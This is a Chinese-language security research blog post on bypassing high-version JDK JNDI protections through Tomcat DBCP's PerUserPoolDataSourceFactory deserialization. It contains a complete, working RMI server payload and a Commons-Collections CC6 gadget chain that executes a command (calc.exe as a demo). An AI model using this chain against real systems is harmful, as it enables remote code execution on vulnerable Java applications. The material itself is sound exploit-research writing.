jndi +反序列化攻击绕过 jdk 限制技术学习
真爱和自由 发表于 四川 技术文章 1264浏览 · 2024-10-25 12:13

jndi +反序列化攻击绕过 jdk 限制技术学习

前言

高版本的jndi本地工厂类的打法已经有很多师傅分析过了,当时打jdbc的工厂类的时候然后找到了一个很有意思

PerUserPoolDataSourceFactory

我们看到这个类的getNewInstance方法

protected InstanceKeyDataSource getNewInstance(Reference ref) throws IOException, ClassNotFoundException {
        PerUserPoolDataSource pupds = new PerUserPoolDataSource();
        RefAddr ra = ref.get("defaultMaxTotal");
        if (ra != null && ra.getContent() != null) {
            pupds.setDefaultMaxTotal(Integer.parseInt(ra.getContent().toString()));
        }

        ra = ref.get("defaultMaxIdle");
        if (ra != null && ra.getContent() != null) {
            pupds.setDefaultMaxIdle(Integer.parseInt(ra.getContent().toString()));
        }

        ra = ref.get("defaultMaxWaitMillis");
        if (ra != null && ra.getContent() != null) {
            pupds.setDefaultMaxWaitMillis((long)Integer.parseInt(ra.getContent().toString()));
        }

        ra = ref.get("perUserDefaultAutoCommit");
        byte[] serialized;
        if (ra != null && ra.getContent() != null) {
            serialized = (byte[])((byte[])ra.getContent());
            pupds.setPerUserDefaultAutoCommit((Map)deserialize(serialized));
        }

        ra = ref.get("perUserDefaultTransactionIsolation");
        if (ra != null && ra.getContent() != null) {
            serialized = (byte[])((byte[])ra.getContent());
            pupds.setPerUserDefaultTransactionIsolation((Map)deserialize(serialized));
        }

        ra = ref.get("perUserMaxTotal");
        if (ra != null && ra.getContent() != null) {
            serialized = (byte[])((byte[])ra.getContent());
            pupds.setPerUserMaxTotal((Map)deserialize(serialized));
        }

        ra = ref.get("perUserMaxIdle");
        if (ra != null && ra.getContent() != null) {
            serialized = (byte[])((byte[])ra.getContent());
            pupds.setPerUserMaxIdle((Map)deserialize(serialized));
        }

        ra = ref.get("perUserMaxWaitMillis");
        if (ra != null && ra.getContent() != null) {
            serialized = (byte[])((byte[])ra.getContent());
            pupds.setPerUserMaxWaitMillis((Map)deserialize(serialized));
        }

        ra = ref.get("perUserDefaultReadOnly");
        if (ra != null && ra.getContent() != null) {
            serialized = (byte[])((byte[])ra.getContent());
            pupds.setPerUserDefaultReadOnly((Map)deserialize(serialized));
        }

        return pupds;
    }

其中的deserialize很少耀眼啊,哈哈哈哈

然后简单看了一下这个值,是我们可以控制的,哪他和我们高版本的jndi有什么关系呢?

首先我们找工厂类的时候需要是 ObjectFactory 的子类,然后我们看看这个类

看到他的父类,是个抽象类,但是他的 getObjectInstance 方法我们可以研究一下

public Object getObjectInstance(Object refObj, Name name, Context context, Hashtable<?, ?> env) throws IOException, ClassNotFoundException {
    Object obj = null;
    if (refObj instanceof Reference) {
        Reference ref = (Reference)refObj;
        if (this.isCorrectClass(ref.getClassName())) {
            RefAddr refAddr = ref.get("instanceKey");
            if (refAddr != null && refAddr.getContent() != null) {
                obj = instanceMap.get(refAddr.getContent());
            } else {
                String key = null;
                if (name != null) {
                    key = name.toString();
                    obj = instanceMap.get(key);
                }

                if (obj == null) {
                    InstanceKeyDataSource ds = this.getNewInstance(ref);
                    this.setCommonProperties(ref, ds);
                    obj = ds;
                    if (key != null) {
                        instanceMap.put(key, ds);
                    }
                }
            }
        }
    }

    return obj;
}

可以看到最棒的是调用了 getNewInstance 方法,嘿嘿嘿嘿
现在的问题就是控制 ref 的问题了

Payload 构造+调试分析

就在边调试的时候构造 paylaod 吧

调试代码

首先简单写一个服务端,剩下的在调试分析的时候补充

public class RMI_Server_ByPass {
public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(8888);
    ResourceRef resourceRef =deser();
    ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
    registry.bind("deser", referenceWrapper);
    System.out.println("Registry运行中......");
}
private static ResourceRef deser() throws IOException {
    ResourceRef ref=new ResourceRef("any",null,"","",true,"org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSourceFactory",null);
    return ref;
}

客户端

package JNDI_RMI;
import javax.naming.InitialContext;

public class RMI_Cilent_ByPass {
    public static void main(String[]args) throws Exception{
        String string = "rmi://localhost:8888/deser";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(string);
    }
}

调用栈如下

getObjectInstance:111, InstanceKeyDataSourceFactory (org.apache.tomcat.dbcp.dbcp2.datasources)
getObjectInstance:31, PerUserPoolDataSourceFactory (org.apache.tomcat.dbcp.dbcp2.datasources)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:8, RMI_Cilent_ByPass (JNDI_RMI)

第一次构造

顺理成章的来到了 InstanceKeyDataSourceFactory 的 getObjectInstance 方法
首先就是第一个点

我们的 classname 也就是第一个传入的参数
跟进 isCorrectClass 方法看看具体的要求

protected boolean isCorrectClass(String className) {
    return PER_USER_POOL_CLASSNAME.equals(className);
}
private static final String PER_USER_POOL_CLASSNAME = PerUserPoolDataSource.class.getName();

可以看到需要 classname 为

Org.Apache.Tomcat.Dbcp.Dbcp2.Datasources.PerUserPoolDataSource

修改后的 payload

public class RMI_Server_ByPass {
public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(8888);
    ResourceRef resourceRef =deser();
    ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
    registry.bind("deser", referenceWrapper);
    System.out.println("Registry运行中......");
}
private static ResourceRef deser() throws IOException {
    ResourceRef ref=new ResourceRef("org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource",null);
    return ref;
}

第二次构造

再次调试

可以发现已经成功的通过了 if 条件

然后顺利的来到了 getNewInstance 方法

protected InstanceKeyDataSource getNewInstance(Reference ref) throws IOException, ClassNotFoundException {
    PerUserPoolDataSource pupds = new PerUserPoolDataSource();
    RefAddr ra = ref.get("defaultMaxTotal");
    if (ra != null && ra.getContent() != null) {
        pupds.setDefaultMaxTotal(Integer.parseInt(ra.getContent().toString()));
    }

    ra = ref.get("defaultMaxIdle");
    if (ra != null && ra.getContent() != null) {
        pupds.setDefaultMaxIdle(Integer.parseInt(ra.getContent().toString()));
    }

    ra = ref.get("defaultMaxWaitMillis");
    if (ra != null && ra.getContent() != null) {
        pupds.setDefaultMaxWaitMillis((long)Integer.parseInt(ra.getContent().toString()));
    }

    ra = ref.get("perUserDefaultAutoCommit");
    byte[] serialized;
    if (ra != null && ra.getContent() != null) {
        serialized = (byte[])((byte[])ra.getContent());
        pupds.setPerUserDefaultAutoCommit((Map)deserialize(serialized));
    }

    ra = ref.get("perUserDefaultTransactionIsolation");
    if (ra != null && ra.getContent() != null) {
        serialized = (byte[])((byte[])ra.getContent());
        pupds.setPerUserDefaultTransactionIsolation((Map)deserialize(serialized));
    }

    ra = ref.get("perUserMaxTotal");
    if (ra != null && ra.getContent() != null) {
        serialized = (byte[])((byte[])ra.getContent());
        pupds.setPerUserMaxTotal((Map)deserialize(serialized));
    }

    ra = ref.get("perUserMaxIdle");
    if (ra != null && ra.getContent() != null) {
        serialized = (byte[])((byte[])ra.getContent());
        pupds.setPerUserMaxIdle((Map)deserialize(serialized));
    }

    ra = ref.get("perUserMaxWaitMillis");
    if (ra != null && ra.getContent() != null) {
        serialized = (byte[])((byte[])ra.getContent());
        pupds.setPerUserMaxWaitMillis((Map)deserialize(serialized));
    }

    ra = ref.get("perUserDefaultReadOnly");
    if (ra != null && ra.getContent() != null) {
        serialized = (byte[])((byte[])ra.getContent());
        pupds.setPerUserDefaultReadOnly((Map)deserialize(serialized));
    }

    return pupds;
}

会获取很多属性的值,我们只需要加入我们需要的属性的值即可

重点关注下面的几个有 deserialize 的方法
跟进看看

protected static final Object deserialize(byte[] data) throws IOException, ClassNotFoundException {
    ObjectInputStream in = null;

    Object var2;
    try {
        in = new ObjectInputStream(new ByteArrayInputStream(data));
        var2 = in.readObject();
    } finally {
        if (in != null) {
            try {
                in.close();
            } catch (IOException var9) {
            }
        }

    }

    return var2;
}

可以看到就是反序列化

所以我们构造一下 cc6 的 paylaod

package CC6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        // 人畜无害的Transformer数组
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
                new ConstantTransformer(1),// 隐藏错误信息
        };
        //因为下面在编写payload时会调用map.put方法,会执行transformer,这里先放入一个没用的transformer,在map.put执行完再改为真正的transformers
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        // 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
        //在HashSet的readObject方法中,就有Map.put
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);//LazyMap的get方法会调用构造方法中传入的Transformer

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");//TiedMapEntry的hashcode方法会调用Map的get方法

        Map expMap = new HashMap();//为了调用TiedMapEntry.hashcode,新new一个HashMap
        //map.put方法也会调用key的hashcode方法,但是这是调试阶段,不应该在这个阶段就执行,因此要避免一下(new ChainedTransformer时传入一个无意义的Transformer)
        expMap.put(tme, "valuevalue");//put方法会调用key的hashcode方法,相当于TiedMapEntry.hashcode

        //put后再把key去除,防止影响后续执行,如果不去除,就会在序列化时执行,然后将map放入值导致LazyMap的get方法不能够调用到Transformer
        outerMap.remove("keykey");

        //等最后要⽣成Payload的时候,再把真正的 transformers 替换进去。
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");//获取ChainedTransformer的iTransformers属性
        f.setAccessible(true);//设为公开
        f.set(transformerChain, transformers);//设置transformerChain对象里面的iTransformers属性为transformers
        serialize2(expMap);
        unserialize("1.bin");
    }
    public static void serialize2(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }
}

然后我们尝试一下修改 paylaod

public class RMI_Server_ByPass {
public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(8888);
    ResourceRef resourceRef =deser();
    ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
    registry.bind("deser", referenceWrapper);
    System.out.println("Registry运行中......");
}
private static ResourceRef deser() throws IOException {
    ResourceRef ref=new ResourceRef("org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource",null,"","",true,"org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSourceFactory",null);
    ref.add(new BinaryRefAddr("perUserDefaultAutoCommit",Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\JNDI\\1.bin"))));
    return ref;
}

然后运行服务端再运行客户端

package JNDI_RMI;
import javax.naming.InitialContext;

public class RMI_Cilent_ByPass {
    public static void main(String[]args) throws Exception{
        String string = "rmi://localhost:8888/deser";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(string);
    }
}

太秒了,太秒了

最后的 paylaod

因为刚才看到了很多都 deserialize 方法,是不是所有的都可以呢,我们再次修改 paylaod

ra = ref.get("perUserDefaultAutoCommit");
byte[] serialized;
if (ra != null && ra.getContent() != null) {
    serialized = (byte[])((byte[])ra.getContent());
    pupds.setPerUserDefaultAutoCommit((Map)deserialize(serialized));
}

ra = ref.get("perUserDefaultTransactionIsolation");
if (ra != null && ra.getContent() != null) {
    serialized = (byte[])((byte[])ra.getContent());
    pupds.setPerUserDefaultTransactionIsolation((Map)deserialize(serialized));
}

ra = ref.get("perUserMaxTotal");
if (ra != null && ra.getContent() != null) {
    serialized = (byte[])((byte[])ra.getContent());
    pupds.setPerUserMaxTotal((Map)deserialize(serialized));
}

ra = ref.get("perUserMaxIdle");
if (ra != null && ra.getContent() != null) {
    serialized = (byte[])((byte[])ra.getContent());
    pupds.setPerUserMaxIdle((Map)deserialize(serialized));
}

ra = ref.get("perUserMaxWaitMillis");
if (ra != null && ra.getContent() != null) {
    serialized = (byte[])((byte[])ra.getContent());
    pupds.setPerUserMaxWaitMillis((Map)deserialize(serialized));
}

ra = ref.get("perUserDefaultReadOnly");
if (ra != null && ra.getContent() != null) {
    serialized = (byte[])((byte[])ra.getContent());
    pupds.setPerUserDefaultReadOnly((Map)deserialize(serialized));
}

修改后的代码

private static ResourceRef deser() throws IOException {
    ResourceRef ref=new ResourceRef("org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource",null,"","",true,"org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSourceFactory",null);
    ref.add(new BinaryRefAddr("perUserDefaultAutoCommit",Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\JNDI\\1.bin"))));
    ref.add(new BinaryRefAddr("perUserDefaultTransactionIsolation",Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\JNDI\\1.bin"))));
    ref.add(new BinaryRefAddr("perUserMaxTotal",Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\JNDI\\1.bin"))));
    ref.add(new BinaryRefAddr("perUserMaxIdle",Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\JNDI\\1.bin"))));
    ref.add(new BinaryRefAddr("perUserMaxWaitMillis",Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\JNDI\\1.bin"))));
    ref.add(new BinaryRefAddr("perUserDefaultReadOnly",Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\JNDI\\1.bin"))));
    return ref;
}

按照道理来说应该弹出 6 个计算器

太对了,太对了

成功

最后

其实肯定还有更多的方法可以去实现不同的攻击面,后面还会再去挖掘一些

0 条评论
某人
表情
可输入 255